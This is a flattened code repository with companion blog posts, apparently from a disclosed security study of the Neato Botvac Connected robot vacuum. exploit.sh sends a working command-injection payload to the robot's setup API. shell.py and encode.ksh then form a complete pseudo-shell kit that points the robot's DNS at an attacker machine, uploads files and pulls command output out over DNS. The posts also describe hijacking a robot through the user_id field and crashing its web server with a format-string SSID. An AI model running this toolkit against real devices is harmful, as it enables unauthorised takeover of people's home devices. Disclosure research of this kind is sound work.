├── .gitignore ├── exploit.sh ├── README.md ├── encode.ksh ├── shell.py ├── PART2_Security in a Vacuum- Hacking the Neato Botvac Connected.md └── PART1_Security in a Vacuum- Hacking the Neato Botvac Connected.md /.gitignore: -------------------------------------------------------------------------------- 1 | resolv.conf 2 | -------------------------------------------------------------------------------- /exploit.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | if [ "$#" -ne 1 ]; then 4 | echo "Usage: ./exploit.sh " 5 | exit 0 6 | fi 7 | 8 | robot_ip=$1 9 | 10 | echo "[*] Sending exploit payload..." 11 | 12 | # You shouldn't need to change any of the below, it accepts the payload without 13 | # a valid user_id, ssid, or password 14 | curl -i -s -k -X 'PUT' \ 15 | -H 'Content-Type: application/json' \ 16 | --data-binary $'{\"name\":\"Rosie\", \"ssid\":\"asdf\", \"timezone\":\"America\\/Chicago\", \"password\":\"asdf\", \"server_urls\": {\"nucleo\":\"nucleo\",\"ntp\":\"`while :;do for m in $(sloginfo -c|grep :878);do [ $m = %%%%% ]&&eval \'echo $c|ksh&c=\'||c=$c\\\\ $m;done;done`\",\"beehive\":\"beehive\"}, \"user_id\":\"asdf\", \"utc_offset\":\"UTC-6:00UTC-5:00\"}\x0a' \ 17 | "https://$robot_ip:4443/robot/initialize" 18 | 19 | echo "[*] Done. Now either reboot the robot, or wait for it to update from the NTP server." -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Neato Botvac Connected command injection pseudo shell 2 | 3 | These scripts are a companion to my blog posts [Security in a Vacuum: Hacking the Neato Botvac Connected, Part 1](https://www.nccgroup.trust/us/about-us/newsroom-and-events/blog/2018/march/security-in-a-vacuum-hacking-the-neato-botvac-connected-part-1/) and [Security in a Vacuum: Hacking the Neato Botvac Connected, Part 2](https://www.nccgroup.trust/us/about-us/newsroom-and-events/blog/2018/april/security-in-a-vacuum-hacking-the-neato-botvac-connected-part-2/). They can be used to create a pseudo interactive shell on the robot. 4 | 5 | ## Usage 6 | 7 | 1. Run `exploit.sh` to establish blind command execution via POST bodies to the setup API server using a command injection vulnerability. Note that after running `exploit.sh`, you will no longer be able to control the robot from the mobile app until you set the robot up again in the normal way. 8 | 2. Either reboot the robot or wait for it to update its time from the NTP server. 9 | 3. Use `shell.py` to start a pseudo interactive shell. This: 10 | 11 | * Starts a rogue DNS server 12 | * Uses the blind command execution to update the robot's `resolv.conf` file to set the robot's DNS server to the attacker machine. 13 | * Uploads a `encode.ksh` which encodes text for DNS exfiltration. 14 | * Handles sending commands via POST and receiving/decoding output via DNS. 15 | 16 | Note that `shell.py` must be run as root so that it can bind to port 53 to create the DNS server. 17 | 18 | ## Known issues 19 | 20 | `shell.py` is a bit glitchy sometimes. If the command output doesn't appear, or appears after you enter the next command. Just restart the script. -------------------------------------------------------------------------------- /encode.ksh: -------------------------------------------------------------------------------- 1 | function _replace { 2 | OLDIFS=$IFS 3 | IFS=$2 4 | str="" 5 | sections=0 6 | for section in $1; do ((sections=sections+1)); done 7 | i=0 8 | for section in $1 9 | do 10 | str=$str$section 11 | newStr=$str$3 12 | ((i=i+1)) 13 | if [[ $i -lt $sections ]] 14 | then 15 | str=$newStr 16 | fi 17 | done 18 | 19 | IFS=$OLDIFS 20 | echo $str 21 | } 22 | function replace { 23 | OLDIFS=$IFS 24 | IFS="" 25 | str=$1 26 | newStr="" 27 | while [ "$str" != "$newStr" ] 28 | do 29 | newStr=$str 30 | str=`_replace $1 $2 $3` 31 | done 32 | 33 | IFS=$OLDIFS 34 | echo $str 35 | } 36 | function jankyEncode { 37 | OLDIFS=$IFS 38 | IFS="" 39 | str=$1 40 | str=`replace $str 'x' 'x78'` 41 | str=`replace $str '!' 'x21'` 42 | str=`replace $str '"' 'x22'` 43 | str=`replace $str '#' 'x23'` 44 | str=`replace $str '$' 'x24'` 45 | str=`replace $str '%' 'x25'` 46 | str=`replace $str '&' 'x26'` 47 | str=`replace $str "'" 'x27'` 48 | str=`replace $str '(' 'x28'` 49 | str=`replace $str ')' 'x29'` 50 | str=`replace $str '+' 'x2B'` 51 | str=`replace $str ',' 'x2C'` 52 | str=`replace $str '-' 'x2D'` 53 | str=`replace $str '.' 'x2E'` 54 | str=`replace $str '/' 'x2F'` 55 | str=`replace $str ':' 'x3A'` 56 | str=`replace $str ';' 'x3B'` 57 | str=`replace $str '<' 'x3C'` 58 | str=`replace $str '=' 'x3D'` 59 | str=`replace $str '>' 'x3E'` 60 | str=`replace $str '?' 'x3F'` 61 | str=`replace $str '@' 'x40'` 62 | str=`replace $str '[' 'x5B'` 63 | str=`replace $str '\' 'x5C'` 64 | str=`replace $str ']' 'x5D'` 65 | str=`replace $str '^' 'x5E'` 66 | str=`replace $str '_' 'x5F'` 67 | str=$(replace $str '`' 'x60') 68 | str=`replace $str '{' 'x7B'` 69 | str=`replace $str '|' 'x7C'` 70 | str=`replace $str '}' 'x7D'` 71 | str=`replace $str '~' 'x7E'` 72 | str=`replace $str ' ' 'x20'` 73 | IFS=$OLDIFS 74 | echo $str 75 | } 76 | 77 | function segment { 78 | minSegmentSize=$1 79 | maxSegmentSize=$2 80 | idx=$3 81 | input=$4 82 | if [[ ${#input} -lt $maxSegmentSize ]] 83 | then 84 | echo -n "$idx.$input""x00" 85 | return 0 86 | fi 87 | len=0 88 | OLDIFS=$IFS 89 | IFS=" " 90 | PRINTABLE="0 1 2 3 4 5 6 7 8 9 a b c d e f g h i j k l m n o p q r s t u v w x y z A B C D E F G H I J K L M N O P Q R S T U V W X Y Z" 91 | for char in $PRINTABLE 92 | do 93 | OLDIFS2=$IFS 94 | IFS="$char" 95 | str="" 96 | found="0" 97 | for segment in $input 98 | do 99 | str=$str$segment$char 100 | if [[ ${#str} -gt minSegmentSize && ${#str} -lt maxSegmentSize ]] 101 | then 102 | echo "$idx.$str" 103 | ((idx=idx+1)) 104 | str="" 105 | found="1" 106 | fi 107 | done 108 | if [[ "$found" != "0" ]] 109 | then 110 | IFS= 111 | segment $minSegmentSize $maxSegmentSize $idx $str 112 | return 0 113 | fi 114 | IFS=$OLDIFS2 115 | done 116 | IFS= 117 | IFS=$OLDIFS 118 | } 119 | OLDIFS=$IFS 120 | IFS="" 121 | input=$(cat) 122 | str=`jankyEncode "$input"` 123 | IFS=$OLDIFS 124 | newstr="" 125 | for line in $str 126 | do 127 | newstr="$newstr${line}x0A" 128 | done 129 | segment 42 62 1 "${newstr}" 130 | -------------------------------------------------------------------------------- /shell.py: -------------------------------------------------------------------------------- 1 | #!/usr/local/bin/python3 2 | 3 | import binascii 4 | import sys 5 | import urllib.request 6 | import ssl 7 | import http.client 8 | import shlex 9 | import string 10 | import socket 11 | 12 | robot_url = "" 13 | robot_ip = "" 14 | 15 | # Disable cert validation because the robot has a self-signed cert 16 | ctx = ssl.create_default_context() 17 | ctx.check_hostname = False 18 | ctx.verify_mode = ssl.CERT_NONE 19 | 20 | # Run a command without automatically sending the output back to us via DNS 21 | def run_command_raw(cmd): 22 | cmd = "%%%%% " + cmd + " %%%%%" 23 | req = urllib.request.Request(robot_url + "/asdf", cmd.encode('ascii')) 24 | try: 25 | urllib.request.urlopen(req, context=ctx) 26 | except http.client.BadStatusLine as e: 27 | pass # Firmware 2.2.0 always returns bad status on unknown endpoints 28 | 29 | # Run a command and get the output via DNS, then return it 30 | def run_command(cmd): 31 | cmd = "for line in $(" + cmd + " 2>&1 | ksh /tmp/encode.ksh);do eval 'ping -c 1 $line&';done" 32 | run_command_raw(cmd) 33 | return receive_output() 34 | 35 | # Use a series of "echo" commands to upload a file to the target 36 | def upload(source, dest): 37 | with open(source) as f: 38 | run_command_raw("echo > " + dest) 39 | content = f.readlines() 40 | for line in content: 41 | cmd = "echo " + shlex.quote(line.rstrip()) + " >> " + dest 42 | run_command_raw(cmd) 43 | print(cmd) 44 | 45 | # Record DNS requests until we get to one that contains "x00" (null byte). Then put them 46 | # in the correct order and decode 47 | def receive_output(): 48 | linesDict = { } 49 | done = False 50 | numLines = 0 51 | while numLines == 0 or len(linesDict) < numLines: 52 | # Listen for the next request and send an automated reply 53 | data="" 54 | addr="" 55 | try: 56 | data, addr = udps.recvfrom(1024) 57 | except: 58 | data="" 59 | addr="" 60 | if data == "" and addr == "": 61 | print("Timed out. Retrieved " + str(len(linesDict)) + " / " + str(numLines) + " chunks.") 62 | break 63 | p = DNSQuery(data) 64 | udps.sendto(p.response(robot_ip), addr) 65 | 66 | # Need two components: index within lines array, and encoded line 67 | components = p.domain.split('.') 68 | if len(components) < 2 or len(components) > 3: 69 | continue 70 | index = components[0] 71 | line = components[1] 72 | 73 | # If it contains x00 (null byte), we are done 74 | idx = line.find("x00") 75 | if idx > 0: 76 | # If it has a null byte, this is the last item in the payload, so we know 77 | # how many total items there are 78 | numLines = int(index) 79 | #print("numLines: " + str(numLines)) 80 | line = line[0:idx] 81 | #done = True 82 | 83 | # Add to records 84 | linesDict[int(index)] = line 85 | #print("Len: " + str(len(linesDict))) 86 | # Sort our recorded DNS lookups, decode them, and output 87 | lineKeys = sorted(linesDict) 88 | s = "" 89 | for lineKey in lineKeys: 90 | s += linesDict[lineKey] 91 | return decode(s) 92 | 93 | # Decode a string encoded with "encode.ksh" 94 | def decode(s): 95 | for i in range(0, len(string.printable)): 96 | c = string.printable[i] 97 | cenc = str(binascii.hexlify(c.encode("ascii")), "ascii").upper()#.encode("hex").upper() 98 | s = s.replace("x"+cenc, c) 99 | return s 100 | 101 | # Code for parsing a DNS request packet which I stole from: 102 | # http://code.activestate.com/recipes/491264/ 103 | udps = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) 104 | udps.settimeout(5) 105 | class DNSQuery: 106 | def __init__(self, data): 107 | self.data=data 108 | self.domain='' 109 | 110 | tipo = (data[2] >> 3) & 15 # Opcode bits 111 | if tipo == 0: # Standard query 112 | ini=12 113 | lon=data[ini] 114 | while lon != 0: 115 | self.domain+=data[ini+1:ini+lon+1].decode("ascii")+'.' 116 | ini+=lon+1 117 | lon=data[ini] 118 | 119 | def response(self, ip): 120 | packet=b'' 121 | if self.domain: 122 | packet+=self.data[:2] + b'\x81\x80' 123 | packet+=self.data[4:6] + self.data[4:6] + b'\x00\x00\x00\x00' # Questions and Answers Counts 124 | packet+=self.data[12:] # Original Domain Name Question 125 | packet+=b'\xc0\x0c' # Pointer to domain name 126 | packet+=b'\x00\x01\x00\x01\x00\x00\x00\x3c\x00\x04' # Response type, ttl and resource data length -> 4 bytes 127 | for part in ip.split('.'): 128 | packet += bytes( [int(part)] ) 129 | #packet+=str.join('',map(lambda x: chr(int(x)), ip.split('.'))) # 4bytes of IP 130 | 131 | return packet 132 | 133 | def create_resolv_conf(nameserver): 134 | file = open("./resolv.conf","w") 135 | file.write("domain local\n") 136 | file.write("nameserver " + nameserver + "\n") 137 | file.write("nameserver 8.8.4.4\nnameserver 159.10.132.223\nnocache on") 138 | file.close() 139 | 140 | if __name__ == "__main__": 141 | if len(sys.argv) < 3: 142 | print("Usage: shell.py ") 143 | print("Note: run exploit.sh before using this script.") 144 | exit(0) 145 | 146 | local_ip = sys.argv[2] 147 | robot_url = "https://" + sys.argv[1] + ":4443" 148 | robot_ip = sys.argv[1] 149 | 150 | print("[*] Starting DNS server...") 151 | try: 152 | udps.bind(('',53)) 153 | except PermissionError as e: 154 | print("[-] Failed: you must be root to bind port 53 for rogue DNS server.") 155 | exit(1) 156 | 157 | print("[*] Uploading encoding script...") 158 | upload("./encode.ksh", "/tmp/encode.ksh") 159 | 160 | print("[*] Uploading resolv.conf...") 161 | create_resolv_conf(local_ip) 162 | upload("./resolv.conf", "/etc/resolv.conf") 163 | 164 | print("[*] Ready!\n") 165 | 166 | while True: 167 | cmd = input("# ") 168 | print(run_command(cmd)) 169 | 170 | udps.close() 171 | -------------------------------------------------------------------------------- /PART2_Security in a Vacuum- Hacking the Neato Botvac Connected.md: -------------------------------------------------------------------------------- 1 | # Security in a Vacuum: Hacking the Neato Botvac Connected, Part 2 2 | 3 | **Note** this post was originally published on the NCC Group Blog at https://www.nccgroup.trust/us/about-us/newsroom-and-events/blog/2018/april/security-in-a-vacuum-hacking-the-neato-botvac-connected-part-2/ . However, it did not survive the NCC Group blog migration to a new platform, so I uploaded it here. 4 | 5 | ## Introduction 6 | 7 | This is the final section of a two-part blog series detailing how I went about attacking the Neato Botvac Connected WiFi-enabled robot vacuum. 8 | 9 | In the last post I described how I discovered a command injection in the robot’s setup API, and the limitations I encountered while trying to use it. This post will detail how I developed a command I/O channel using the very limited toolset on the QNX-based robot to obtain a pseudo command shell. 10 | 11 | ## Toolset 12 | 13 | ### USB Drive 14 | 15 | The system allows users to attach a USB thumb drive for updating the firmware and dumping system logs. I found the script which mounts the drive in `/bin/check_for_usb_mount.sh`. The relevant lines are below: 16 | 17 | ``` 18 | MOUNT_PATH=/proc/boot/mount 19 | … 20 | ${MOUNT_PATH} -t dos /dev/usbhd0 /usb 21 | ``` 22 | 23 | Although I was still planning to come up with a purely network-based means of command I/O which didn't require physical access to the robot, this was useful in the interim. I could put shell scripts on the drive, mount the drive & execute them via the command injection, then redirect their output to a file. Additionally, this allowed me to dump the contents of the filesystem to the drive. 24 | 25 | ### Utilities 26 | 27 | Inspecting the files dumped to the USB drive from the robot's filesystem, I discovered that the robot runs QNX and has a limited set of utilities on it: 28 | 29 | ``` 30 | cat cp date dd devb-mmcsd-am335x devb-ram devb-umass devc-seromap devc-serusb_dcd dhcp.client dhcpd dm814x-wdtkick dumper echo env getconf grep gunzip gzip i2c-omap35xx-j5 if_up ifconfig io-audio io-pkt-v4-hc io-usb io-usb-dcd ksh logger ls mkdir mount mqueue mv netstat nicinfo ntpdate on ping pipe procnto random rm rmdir route setconf setkey shutdown slay sleep slogger sloginfo tar touch traceroute ulink_ctrl umount usb waitfor 31 | ``` 32 | 33 | The tools that *are* present, such as `grep` and `ksh`, lack a lot of the useful options present in the full version, making string manipulation particularly challenging. 34 | 35 | Mounting an NFS or SMB share seemed like a promising option, but unfortunately `mount` on the robot does not have those filesystem types available. Other than that, there doesn’t seem to be any tools in the list which would directly handle both receiving commands and sending command output, so I decided to perform input and output separately. 36 | 37 | ## Input 38 | 39 | From the list of tools, the ones which receive input (either directly or indirectly) from the network seem to be: 40 | 41 | ``` 42 | dhcp.client dhcpd ping traceroute sloginfo ntpdate 43 | ``` 44 | 45 | From this, I decided that `sloginfo` was the most promising. `sloginfo` is a QNX utility which lets you read from the system log. I figured that requests to the API server may be logged in the syslog, from which I could extract them and run them as commands. To test this idea, I made a POST request to the robot’s setup API with a path of `/asdf` and a body of “qwerty”, and was able to observe the following entries in the log by running `sloginfo`: 46 | 47 | ``` 48 | Feb 24 15:26:52.746 6 10003 0 :ev_handler:874 NEATO: Received data from the App: 49 | Method: POST 50 | URI /asdf Body Length:4 51 | Feb 24 15:26:52.746 6 10003 0 :ev_handler:878 Working Buffer 5: qwerty 52 | ``` 53 | 54 | From here, I needed to write a `ksh` script which extracts and runs the POST bodies of certain requests. This `ksh` script had to overcome some strict limitations: 55 | 56 | * It needed to be less than 128 characters long, as this is the size limit of the `ntp` parameter to `/robot/initialize`. 57 | * As mentioned, the system has an extremely limited version of `ksh` with no string manipulation functions and does not have `sed`, `awk`, etc. 58 | 59 | The script that I came up with is as follows: 60 | 61 | ``` 62 | while :;do for m in $(sloginfo -c|grep :878);do [ $m = %%%%% ]&&eval 'echo $c|ksh&c='||c=$c\ $m;done;done 63 | ``` 64 | 65 | I’ll explain the various bits below: 66 | 67 | ``` 68 | while :;do …;done 69 | ``` 70 | 71 | This is the shortest way that I found to write an infinite loop in ksh. 72 | 73 | ``` 74 | for m in $(sloginfo -c|grep :878);do 75 | ``` 76 | 77 | I needed some way to iterate through the text in the syslog which was relevant to me so I could parse it. All entries containing POST bodies seemed to have “:878” in them, so I grepped for that. This will loop through items separated by whitespace on lines containing :878. The `-c` flag to `sloginfo` clears the log afterwards, so that we don’t have to worry about commands being run multiple times — each invocation of `syslog -c` shows only *new* log entries. 78 | 79 | ``` 80 | [ $m = %%%%% ]&&eval 'echo $c|ksh&c='||c=$c\ $m; 81 | ``` 82 | 83 | This is where I had to get clever with saving space. 84 | 85 | * `m` is the token in our loop — the current item in the log line, if you split the line by whitespace. 86 | * `c` is a command string that we build up through iterations of the loop. 87 | 88 | Using `[ condition ]&&...||...;` is a space-saving measure which gets rid of the `if [ condition ];then ...;else ...;fi` construct. 89 | 90 | What the script does: 91 | 92 | * Continually polls the syslog for new entries. 93 | * Loops over tokens in the entries, building up a string `c` containing the concatenated command string. 94 | * If our current token is “%%%%%”, then we will execute the `c` string we have collected so far with `ksh`, and clear `c`. 95 | * If our current token is not “%%%%%”, then we concatenate the token onto the command string and continue iterating. 96 | 97 | How it works: 98 | 99 | * The attacker will send commands in POST bodies wrapped in “ %%%%% ” tokens. 100 | * The script will reach the first “%%%%%”, execute the `c` buffer it has collected so far (which is just garbage), and clear `c`. 101 | * Then it will fill `c` back up with the actual command string until it reaches “%%%%%” again. 102 | * The script will then run `c`, which now contains the command that we want to execute. 103 | 104 | Now we have blind command execution by sending POST requests to the API server. 105 | 106 | ## Output 107 | 108 | I ultimately decided to stick with exfiltrating data via DNS by invoking the `ping` command. My strategy was: 109 | 110 | 1. Modify `/etc/resolv.conf` to point to an attacker-controlled rogue DNS server. 111 | 2. Encode output in such a way that it could be transmitted over DNS, then feed it to the `ping` command, which will issue a DNS request. 112 | 113 | For step 2 — there is no `base64` or `xxd` utilities on the system, and implementing them in `ksh` proved to be too difficult, so I decided to attempt to write my own encoder. I needed to overcome these challenges: 114 | 115 | 1. Encoding all of the “bad” characters which can’t be transmitted over DNS. 116 | 2. Breaking the message into chunks with a maximum length of 63 characters each, since this is the max length of a [DNS label](https://en.wikipedia.org/wiki/Domain_Name_System#Domain_name_syntax). 117 | 3. Doing all this with super limited toolset. 118 | 119 | What I came up with is too large to go over line-by-line, but I will outline the approach below and you can inspect the code for yourself on [GitHub](https://github.com/jkielpinski/vacuum-sec/blob/master/encode.ksh). 120 | 121 | The main tool I used for processing strings was the `$IFS` variable which tells `ksh` what to split on when performing `for` loops. Besides this, I was able to obtain string lengths with `${#str}`. There were no additional string manipulation functions available. 122 | 123 | **Encoding bad characters:** 124 | 125 | 1. I created a `replace()` function which sets `$IFS` to the bad character we wish to eliminate, then loops over the string. It concatenates all iterations together and between them it inserts “x” plus the hexadecimal value of the bad character. For example, “!” is replaced with “x21”. 126 | 2. The script manually calls this function for each non-alphanumeric character in ASCII, plus “x” itself (since that is now a special character). 127 | 128 | **Segmenting the message into 63-character blocks:** 129 | 130 | The script has a `segment()` function which works in the following way: 131 | 132 | 1. Loops through a list of printable characters and assign the current character to `$char` 133 | 2. Set `$IFS` to `$char`, and loop over the remaining payload which we need to send. 134 | 3. If some combination of the segments of the string split by `$char` is between 42 and 62 characters long, then we choose this as the data to send. Then we remove it from the payload by replacing the payload with the concatenation of remaining segments. 135 | 4. Prepend an index number to the block followed by a period, so that it can be reassembled in proper order. 136 | 137 | ## Putting It All Together 138 | 139 | The exploitation process looks like this: 140 | 141 | 1. Establish blind command execution via the syslog method described above. 142 | 2. Either wait for the robot to update the time from the NTP server or reboot it, thereby initiating the syslog polling. 143 | 3. Use the command execution to set the attacker machine as a DNS server. 144 | 4. Use the command execution to upload the custom DNS encoding shell script to `/tmp` via a series of `echo` commands. 145 | 5. Send commands wrapped in “ %%%%% “ via POST requests to any endpoint. If output is desired, commands should be of the form `for line in $([DESIRED COMMAND HERE] 2>&1 | ksh /tmp/encode.ksh);do eval 'ping -c 1 $line&';done`. This encodes the command output via the encoding script described above, then passes each segment to `ping` so that it will be sent as a DNS request to the attacker machine. 146 | 6. Receive the DNS requests on the attacker machine, reassemble and decode them to read the output of the command. 147 | 148 | A proof of concept Python script which automates this process can be found on [GitHub](https://github.com/jkielpinski/vacuum-sec/). 149 | 150 | ## Conclusion 151 | 152 | Thanks for reading, that concludes the two-part series. I hope it gave you some ideas for vulnerability hunting and exploitation of similar devices. 153 | -------------------------------------------------------------------------------- /PART1_Security in a Vacuum- Hacking the Neato Botvac Connected.md: -------------------------------------------------------------------------------- 1 | # Security in a Vacuum: Hacking the Neato Botvac Connected, Part 1 2 | 3 | **Note** this post was originally published on the NCC Group Blog at https://www.nccgroup.trust/us/about-us/newsroom-and-events/blog/2018/march/security-in-a-vacuum-hacking-the-neato-botvac-connected-part-1/ . However, it did not survive the NCC Group blog migration to a new platform, so I uploaded it here. It's also possible to view it on [archive.org](https://web.archive.org/web/20201221181915/https://www.nccgroup.com/us/about-us/newsroom-and-events/blog/2018/march/security-in-a-vacuum-hacking-the-neato-botvac-connected-part-1/). 4 | 5 | 6 | ## Introduction 7 | 8 | The Neato Botvac Connected is the first robot in the Neato line of robot vacuums that you can control using a smart phone. The idea of an Internet-connected robot capable of moving around your home intrigued (and frightened) me, so I decided to get one. This blog post is part one of a two-part series where I describe how I went about assessing this robot for security vulnerabilities, what I found, and how I exploited them. 9 | 10 | I tested firmware version 2.2.0, which is the latest version as of this writing. My tests included only what was on the robot itself; I did not attempt to assess the cloud services on Neato’s backend. I focused on vulnerabilities that could be exploited by a network attacker without physical access to the robot. 11 | 12 | 13 | ## Overview of Setup API 14 | 15 | The robot has an HTTPS-based API for setup on port 4443. The entire setup process normally works like this: 16 | 17 | 1. The robot creates a WiFi access point named “neato-[serial number]”. 18 | 2. You connect your phone to this access point and open the Neato app. 19 | 3. The app sends a GET request to the `/wifis` endpoint, which returns a JSON list of the wireless access points the robot can see. 20 | 4. The user chooses their WiFi SSID from the list and enters the password. 21 | 5. The app sends a PUT request to `/robot/initialize` with the user’s WiFi credentials and other setup options. 22 | 6. The robot turns off its wireless AP and connects to your WiFi network. 23 | 24 | The main endpoint on the setup API is `/robot/initialize`, which receives the configuration data. A normal call to this endpoint from the app looks like: 25 | 26 | ``` 27 | PUT /robot/initialize 28 | Host: 192.168.0.1:4443 29 | Content-Type: application/json 30 | Connection: keep-alive 31 | Accept: */* 32 | User-Agent: Botvac/407 CFNetwork/808.3 Darwin/16.3.0 33 | Content-Length: 261 34 | Accept-Language: en-us 35 | Accept-Encoding: gzip, deflate 36 | 37 | {"name":"Rosie", "ssid":"", "timezone":"America\/Chicago", "password":"", "server_urls":{"nucleo":"nucleo", "ntp":"pool.ntp.org", "beehive":"beehive"}, "user_id":"", "utc_offset":"UTC-6:00UTC-5:00"} 38 | ``` 39 | 40 | Although the API only appears to be used during the setup phase, the service is never closed — once the robot is on your local network, the API is still accessible and you can send it new configurations at any time. 41 | 42 | ## Methodology 43 | 44 | ### Capturing Setup API Traffic 45 | 46 | The Neato app assumes that wireless access points whose SSIDs are prefixed with the string “neato-“ are robot APs. When you connect your phone to such an AP and open the Neato app, it allows you to go through the setup process, issuing API requests to `192.168.0.1:4443`. I captured API traffic between the app and the API in the following way: 47 | 48 | 1. I used a Raspberry Pi to create a network named “neato-asdfasdf”, with the Pi having an IP address of `192.168.0.1`. 49 | 2. I set up a web server on port 4443 on the Pi which dumps the raw HTTP requests to the terminal. 50 | 3. I connected my phone to the rogue AP and opened the Neato app. Then I went through the setup process, capturing its requests to the web server. 51 | 4. I connected my laptop to the actual Neato wireless AP and manually relayed the requests recorded above, capturing the responses. 52 | 5. I modified my rogue API server to send the same responses as the actual robot did. 53 | 6. I repeated until the entire setup process was complete. 54 | 55 | Since the API has a small number of endpoints, I had sample requests/responses for all endpoints in about 15 minutes. For a more complicated API, it would be more efficient to automate this process by using a transparent proxy. 56 | 57 | ### Capturing Network Traffic 58 | 59 | I configured the robot to connect to a Raspberry Pi WiFi access point which routed traffic to my normal network. This allowed me to see what network traffic the configured robot was generating via `tcpdump`. 60 | 61 | ## Vulnerability #1: Command Injection in ‘ntp’ Field 62 | 63 | NTP settings have proven to be a source of [command injection vulnerabilities](https://en.wikipedia.org/wiki/Code_injection#Shell_injection) in previous assessments I have performed (perhaps because invoking the `ntpdate` command is the easiest way to update the system time based on an NTP server). For this reason, the `ntp` field in the PUT request to `/robot/initialize` caught my interest. I sent the following JSON to the `/robot/initialize` endpoint: 64 | 65 | ``` 66 | {…, "server_urls":{"nucleo":"nucleo", "ntp":"`echo test`", "beehive":"beehive"}, …} 67 | ``` 68 | 69 | Through `tcpdump` on my Raspberry Pi I could see the robot making DNS requests for `test`, suggesting that the command had executed. I now had the ability to execute commands on the robot, but the process was painful for several reasons: 70 | 71 | 1. The only way to get output was by sniffing the DNS traffic on the Pi (requiring a man-in-the-middle position). 72 | 2. The data isn’t encoded for DNS transfer so a lot of it gets lost. 73 | 3. The robot doesn’t frequently update the date based on the NTP server, so the fastest way to test was to reboot the robot after each command. 74 | 75 | In part two of this blog series, I will detail how I developed a command I/O channel to get around these limitations and obtain a pseudo shell on the robot. 76 | 77 | ## Vulnerability #2: Robot Hijacking 78 | 79 | The `/robot/initialize` request takes a `user_id` parameter. This `user_id` is then associated with the robot on Neato’s cloud services, allowing them to control the robot via the Neato app. If a malicious user on the same network as the robot sends the following JSON in a PUT request to `/robot/initialize`: 80 | 81 | ``` 82 | {…, "user_id":"", …} 83 | ``` 84 | 85 | they have now associated the robot with their own Neato account. This would allow the attacker to: 86 | 87 | * Start/stop the robot at will. 88 | * Manually drive the robot (but only if they are on the same local network as the robot). 89 | * View maps the robot has generated. 90 | 91 | This means that anyone on the same local network as a Neato Botvac Connected can hijack it. 92 | 93 | ## Vulnerability #3: Format String Vulnerability in ‘/wifis’ Endpoint 94 | 95 | Making a GET request to `/wifis` returns a JSON list of all the WiFi networks that the robot can see. This is used during the setup process so that users can select a WiFi network to connect to. The response normally looks like: 96 | 97 | ``` 98 | {"wifi": [{"ssid":"FBI Surveillance Van"},{"ssid":"xfinitywifi"},…]} 99 | ``` 100 | 101 | If an attacker creates a wireless network with an SSID containing a C-style format string, such as “%x%x%x%x”, the endpoint responds with the following: 102 | 103 | ``` 104 | {"wifi":[…,{"ssid":"ffffe7f4"},…]} 105 | ``` 106 | 107 | This suggests that a string containing the SSID is being passed as a format string parameter somewhere during the construction of the response JSON. As the SSID is untrusted data, this results in a [format string vulnerability](https://en.wikipedia.org/wiki/Uncontrolled_format_string). 108 | 109 | Anyone able to create a wireless network in range of the robot during setup time is theoretically able to exploit this vulnerability. However, it has some limitations: 110 | 111 | * WiFi SSIDs can only be a maximum of 32 characters. If the malicious payload needs to be larger than 32 characters, it is possible to create *multiple* wireless networks with format strings; they will all be executed as a single format string by the API. However, it’s still not possible to control a contiguous block of string greater than 32 characters long. 112 | * The C library on the robot does not understand specifying offsets via the ’`$`’ character. 113 | * The attacker would be doing this blind — unless they own the robot, they won’t be seeing the results of the `/wifis` request. 114 | 115 | Because of the limitations, I did not attempt to get code to execute via the vulnerability (though it may be possible to do so). However, it is easily possible to deny the Neato owner the ability to set up their robot by creating a nearby network with the name “`%n%lx`” — this string causes the robot’s web server to crash, requiring the robot to be rebooted. 116 | 117 | ## Unexplored Attack Surface 118 | 119 | There are plenty of remaining topics I did not yet have time to investigate: 120 | 121 | * The second web server which is used for driving the robot via WebSockets. 122 | * The custom binaries on the device, like `/bin/robot`. 123 | * The encrypted syslog files which you can dump to a USB drive using a menu on the robot — Where is the key? What sensitive info might be in these dumps? 124 | * Using the command injection to physically control or damage the robot in some way. 125 | 126 | ## Wrapping Up 127 | 128 | Although Neato has not issued a patch for the vulnerabilities listed above, none of them can be exploited from the Internet, so they are not as serious as they could be. If the robot is on a network with untrusted users, enabling host isolation or otherwise segmenting the robot from the hostile users could work well. Alternatively, performing a TCP connect scan of the robot with `nmap` causes the web server to crash. This effectively mitigates the issues until the next reboot, since it’s not possible to exploit them without the web server (though it’s clearly not the *best* solution…) 129 | 130 | Stay tuned for part two of the series, where I will dive into the development of a command I/O channel using the command injection vulnerability. 131 | 132 | ### Vendor Communication 133 | 134 | * **03/14/17** — Emailed Neato Robotics asking for security contact address and initial ticket started 135 | * **03/23/17** — A follow-up was sent to the initial ticket 136 | * **04/14/17** — A second ticket was opened 137 | * **04/17/17** — NCC successfully reached out to Neato Robotics via Twitter 138 | * **04/20/17** — Vulnerabilities disclosed to Neato Robotics engineering team 139 | * **04/21/17** — Receipt of advisories acknowledged by Neato 140 | * **07/31/17** — Follow up email requesting status update sent to Neato 141 | * **01/09/18** — Notification of intent to publish sent to Neato 142 | 143 | 144 | --------------------------------------------------------------------------------